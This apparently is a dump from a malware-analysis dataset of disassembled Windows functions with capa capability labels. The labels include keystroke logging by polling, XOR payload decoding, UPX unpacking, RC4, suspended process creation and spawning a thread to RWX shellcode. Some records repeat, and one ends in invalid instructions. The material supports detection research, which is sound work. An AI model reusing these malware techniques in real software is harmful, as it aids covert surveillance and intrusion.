joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10032a6a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10032aa9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10032aa9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10032aa9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10032aa9
cmp dword [ecx + 0x74], 0xe
jbe 0x10032aa9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10039620
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1003964d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1003964d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x100010e3
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
push dword [ebp + 8]
push 0
push 0
call sub.kernel32.dll_CreateMutexA
mov dword [ebp - 4], eax
or eax, eax
je 0x10001115
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x10001115
push dword [ebp - 4]
call fcn.100010c6
push 0
pop dword [ebp - 4]
mov eax, dword [ebp - 4]
leave
ret 4

Function at 0x10001134
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.1000111c
push 0x10
lea eax, [ebp - 0x54]
push eax
call fcn.1000111c
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call sub.kernel32.dll_CreateProcessA
lea edi, [ebp - 0x54]
push dword [edi]
push dword [edi + 4]
call sub.kernel32.dll_CloseHandle
call sub.kernel32.dll_CloseHandle
leave
ret 4
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x4085a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4085b5
pop dword [ebp - 0x48]
mov eax, 0x1a7c42f
sub eax, 0x1673e7a
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x5fd2294b
sub dword [ebp - 0x58], 0x117fe400
mov dword [ebp - 0x54], 0x31a77a67
add dword [ebp - 0x54], 0x8bd1de
mov dword [ebp - 0x50], 0x944b07e9
add dword [ebp - 0x50], 0xb8013c45
mov dword [ebp - 0x4c], 0x3781a4d0
add dword [ebp - 0x4c], 0xc87e5b30
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xd70c98e5
sub dword [ebp - 0x58], 0x629a2f8f
mov dword [ebp - 0x54], 0xea28b0d2
sub dword [ebp - 0x54], 0xa8bc4f5d
mov dword [ebp - 0x50], 0x99a8dd1f
sub dword [ebp - 0x50], 0x363970b3
mov dword [ebp - 0x4c], 0xf402bb6
sub dword [ebp - 0x4c], 0xf402bb6
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x75acfb3
add eax, 0xf8e76171
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3ef04
push 0
call eax
mov ecx, 0x4ce6
mov esi, eax
mov edi, 0xf2868244
sub edi, 0xf2433e44
add edi, dword [ebp - 0x48]
mov ebx, 0x51c50405
add ebx, 0x2a8cf27
xor dword [ebp - 0x44], 0x69c0c5c3
mov edx, dword [edi]
xor edx, ebx
add dword [ebp - 8], ebx
mov dword [esi], edx
sub dword [ebp - 0x18], 0x91bc3bb3
add esi, 4
add edi, 4
loop 0x4086cc
add eax, 0x20e41983
sub eax, 0x20e2f318
mov ebx, eax
add eax, 0xd02352eb
add eax, 0x2fdcad1a
mov ecx, 0xef0f267a
sub ecx, 0xeecf267a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x430e50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c000]
push edi
or ebp, 0xffffffff
jmp 0x430e72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x430e79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x430e68
mov eax, 1
add ebx, ebx
jne 0x430e8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x430e80
jne 0x430e9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x430e80
xor ecx, ecx
sub eax, 3
jb 0x430eb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x430f22
mov ebp, eax
add ebx, ebx
jne 0x430ebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x430ec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x430eec
inc ecx
add ebx, ebx
jne 0x430ed8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x430ecd
jne 0x430ee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x430ecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x430f0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x430efd
jmp 0x430e6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x430f0c
add edi, ecx
jmp 0x430e6e
pop esi
mov edi, esi
mov ecx, 0x9f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x430f2a
cmp byte [edi], 2
jne 0x430f2a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x430f2f
lea edi, [esi + 0x2e000]
mov eax, dword [edi]
or eax, eax
je 0x430f9e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x30464]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x304f0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x430f5c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x304f4]
or eax, eax
je 0x430f98
mov dword [ebx], eax
add ebx, 4
jmp 0x430f79
call dword [esi + 0x30504]
mov ebp, dword [esi + 0x304f8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x430fd2
sub esp, 0xffffff80
jmp 0x40362e
Function at 0x437028
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4371d9
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x10]
mov edx, 0x1b
mov al, 0x2d
call fcn.00404934
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
mov ecx, 0x4371f0
call fcn.00404598
mov eax, ebx
call fcn.004226c4
mov edi, eax
dec edi
test edi, edi
jl 0x4370e0
inc edi
xor esi, esi
mov edx, esi
mov eax, ebx
call fcn.00422698
mov edx, dword [0x42ff14]
call fcn.00403680
test al, al
je 0x4370dc
push dword [ebp - 0xc]
mov edx, esi
mov eax, ebx
call fcn.00422698
lea edx, [ebp - 0x14]
call fcn.0043f74c
push dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
mov edx, 3
mov al, 0x20
call fcn.00404934
push dword [ebp - 0x18]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040460c
inc esi
dec edi
jne 0x43708e
mov al, byte [0x4371f4]
push eax
lea eax, [ebp - 0x1c]
push eax
xor ecx, ecx
mov edx, 0x437200
mov eax, dword [ebp - 0xc]
call fcn.0040cb48
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
call fcn.0040431c
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 0x68], 0xb
lea edx, [ebp - 0x70]
mov eax, ebx
call fcn.0043f74c
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x64], eax
mov byte [ebp - 0x60], 0xb
mov eax, 0x4371f0
mov dword [ebp - 0x5c], eax
mov byte [ebp - 0x58], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x50], 0xb
lea edx, [ebp - 0x74]
mov eax, dword [ebx + 0x2f0]
call fcn.0043f74c
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x48], 0xb
mov eax, 0x4371f0
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x40], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x38], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x30], 0xb
mov eax, 0x4371f0
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x28], 0xb
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
lea edx, [ebp - 0x6c]
mov ecx, 9
mov eax, 0x43720c
call fcn.004098d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4371e0
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.004042a8
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004042a8
lea eax, [ebp - 0x14]
call fcn.00404284
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004042a8
ret
Function at 0x43d280
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x48cbe0], 0
je 0x43d3cf
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x48b4c4]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43d3cf
mov eax, dword [0x48cbe4]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x48cbe0]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x43d39e
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x48cbe0]
call fcn.0041a2a0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x43d396
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x43d396
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x43d396
mov eax, dword [ebp - 0x14]
call fcn.00445ddc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x43d396
push ebp
call fcn.0043d23c
pop ecx
test al, al
jne 0x43d396
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x43d352
mov eax, dword [ebp - 0x14]
call fcn.00444970
dec eax
jle 0x43d396
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.004036f0
cmp byte [ebp - 1], 0
je 0x43d396
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x43d396
mov edx, dword [ebp - 0x14]
mov eax, dword [0x48cbe4]
call fcn.0043ca04
inc edi
dec ebx
jne 0x43d2e5
mov eax, dword [0x48cbe4]
cmp dword [eax + 8], 0
jle 0x43d3b6
mov eax, dword [0x48cbe4]
call fcn.0043ca94
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43d3cf
push ebp
mov eax, dword [ebp - 0x18]
call fcn.0043d0a4
pop ecx
test al, al
jne 0x43d3cf
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401398
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00401096
mov bl, 0x4e
salc
adc dword [ebp - 0x17af3fbb], ecx
invalid
Function at 0x401440
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x30
mov dword [esp + 0x1c], 0x64
jmp 0x4014d0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0x26184ee0
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov ecx, edx
shr eax, cl
mov dword [esp + 0x10], eax
jmp loc.004537dd
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
mov ecx, eax
mov dl, cl
mov cl, dl
shl eax, cl
mov dword [esp + 0x10], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call eax
mov dword [esp + 0x18], eax
mov esi, dword [esp + 0x10]
imul esi, esi
xor edi, edi
mov dword [esp + 0x10], esi
mov esi, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
or esi, esi
or ebx, ebx
imul eax, eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x18]
imul esi, esi
sub eax, esi
cmp edi, eax
jbe 0x40145e
jmp 0x401456
Function at 0x402b10
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xb0
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, 0x773ecbbf
mov dword [esp + 0xa4], 0
mov dword [esp + 0xa0], 0x4070322e
mov word [esp + 0x96], 0xbbda
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 0x212ff9b5
mov dword [esp + 0x5c], eax
mov dword [esp + 0x58], ecx
mov dword [esp + 0x54], edx
call section..Code
mov ecx, dword [esp + 0x98]
mov edx, dword [esp + 0x9c]
mov esi, ecx
imul esi, edx
mov dword [esp + 0x50], eax
mov eax, ecx
mov dword [esp + 0x4c], edx
mul ecx
add edx, esi
add edx, esi
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], edx
mov esi, dword [esp + 0xa8]
mov edi, dword [esp + 0x50]
mov ebx, dword [edi + 0xc]
mov edi, ebx
add edi, 0x14
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x5c]
test eax, eax
setne al
mov dword [esp + 0x9c], edx
mov edx, dword [esp + 0x48]
mov dword [esp + 0x98], edx
mov ebx, dword [ebx + 0x14]
mov dword [esp + 0x70], ebx
mov dword [esp + 0x84], 0
mov edx, dword [esp + 0x54]
mov dword [esp + 0x44], ecx
mov ecx, edx
mov edx, esi
shl edx, cl
mov dword [esp + 0xa8], edx
cmp ebx, edi
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], esi
mov byte [esp + 0x3b], al
je 0x402f21
jmp 0x402c38
mov eax, dword [esp + 0x70]
mov dword [esp + 0x6c], eax
mov eax, dword [esp + 0x6c]
add eax, 0x24
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x64]
mov eax, dword [eax + 4]
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0xa8], ecx
mov dword [esp + 0x7c], eax
mov eax, dword [esp + 0x6c]
add eax, 0x10
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x68]
mov edx, dword [esp + 0x5c]
cmp dword [eax], edx
sete bl
mov bh, byte [esp + 0x3b]
and bh, bl
test bh, 1
jne 0x402ce4
jmp loc.00454797
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff8
mov dword [esp + 0x84], eax
mov eax, dword [esp + 0x44]
mov cl, al
mov eax, 0x4f23ab6
xor edx, edx
mov byte [esp + 0x32], cl
mov esi, edx
shld esi, eax, cl
mov cl, byte [esp + 0x32]
shl eax, cl
mov cl, byte [esp + 0x32]
test cl, 0x20
cmovne esi, eax
cmovne eax, edx
mov dword [esp + 0x9c], esi
mov dword [esp + 0x98], eax
jmp 0x402f21
mov eax, dword [esp + 0x84]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402f80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x20
lea eax, [fcn.00402f80]
mov dword [esp + 0xc], eax
jmp 0x402fe8
mov al, byte [esp + 0x10]
mov ecx, 0x1c71333a
xor edx, edx
mov dword [esp + 8], ecx
mov cl, al
mov esi, edx
mov edi, dword [esp + 8]
shld esi, edi, cl
mov cl, al
shl edi, cl
test al, 0x20
cmovne esi, edi
cmovne edi, edx
mov edx, dword [esp + 4]
mov ebx, dword [edx + 0x3c]
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
xor edi, 0x45ff2def
mov ebx, dword [edx + ebx]
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
cmp ebx, 0x4550
je 0x403004
jmp 0x403024
mov eax, dword [esp + 0xc]
mov cx, word [eax]
mov dword [esp + 0x18], 0xc77fe8c
cmp cx, 0x5a4d
mov dword [esp + 4], eax
je 0x402f98
jmp 0x403024
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
or eax, eax
or ecx, ecx
jmp 0x453a7c
mov eax, dword [esp + 4]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0xc], eax
jmp 0x402fe8
Function at 0x403330
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x88
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x7c]
mov edi, edx
or edi, edi
mov ebx, esi
or ebx, ebx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x78], edi
mov dword [esp + 0x74], 0x46163940
mov edi, ecx
mov dword [esp + 0x4c], eax
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], edx
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], ecx
jmp 0x4034b1
jmp loc.00454cd5
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x48]
lea edx, section..data
imul esi, ecx, 0x28
mov edi, edx
add edi, esi
add edi, 0xc
imul esi, ecx, 0x28
add edx, esi
mov edx, dword [edx]
xor edx, dword [edi]
add ecx, 1
add edx, eax
cmp ecx, 0x3f
mov eax, edx
mov dword [esp + 0x38], edx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x3c], eax
jne 0x4034b1
lea eax, [0x4040b0]
lea ecx, [esp + 0x50]
mov edx, dword [esp + 0x74]
add edx, 0xb9e9c6ce
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], edx
mov dword [esp + 0x14], ecx
call fcn.00402550
mov eax, 0x46164940
sub eax, dword [esp + 0x74]
mov ecx, dword [esp + 0x14]
mov dword [esp], ecx
mov dword [esp + 0x10], eax
call fcn.00403570
mov ecx, esp
mov edx, dword [esp + 0x10]
mov dword [ecx + 8], edx
mov esi, dword [esp + 0x38]
mov dword [ecx + 4], esi
mov dword [ecx + 0xc], 4
mov dword [ecx], 0
call eax
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x28], edx
mov dword [esp + 0x2c], ecx
jmp 0x4033f7
Function at 0x10001090
Capabilities:
Get file size
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x10017004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [0x10018290]
lea eax, [edi + 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push str.lod32.dat
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000112e
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea ecx, [ebx + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000112d
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], ebx
jne 0x1000112d
mov eax, dword [ebp - 0xc]
mov dword [edi + 0x61c], eax
mov dword [edi + 0x620], ebx
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10001368
mov esp, ebp
pop ebp
ret

Function at 0x100012d0
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push esi
call fcn.10001210
call fcn.10001090
mov esi, dword [0x10018290]
test esi, esi
je 0x10001354
push 0x207
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str.SysAps64
push 0x62d
push 0
push 4
push 0
push 0xffffffffffffffff
mov word [esi + 0x61a], 0x1101
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
test eax, eax
je 0x10001348
push 0x62d
push 0
push 0
push 0xf001f
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
test eax, eax
je 0x10001348
mov esi, dword [0x10018290]
mov ecx, 0x18b
push edi
mov edi, eax
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
jmp fcn.10001140
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
jmp fcn.10001140
pop esi
ret
Function at 0x6f7370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x6f738e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x720074
push ecx
mov edi, eax
call fcn.0070b198
mov esi, eax
add esp, 8
test esi, esi
jne 0x6f73cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0070b02e
push esi
call fcn.0070afb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x6fa850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x6fa8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x725720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6fa8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0070b1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x6fa8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x725720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x6fa92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0070c082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x6fa957
mov word [eax], si
add eax, 2
push eax
call fcn.0070c030
add esp, 4
jmp 0x6fa959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x6fa8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x6fa8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x6faff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret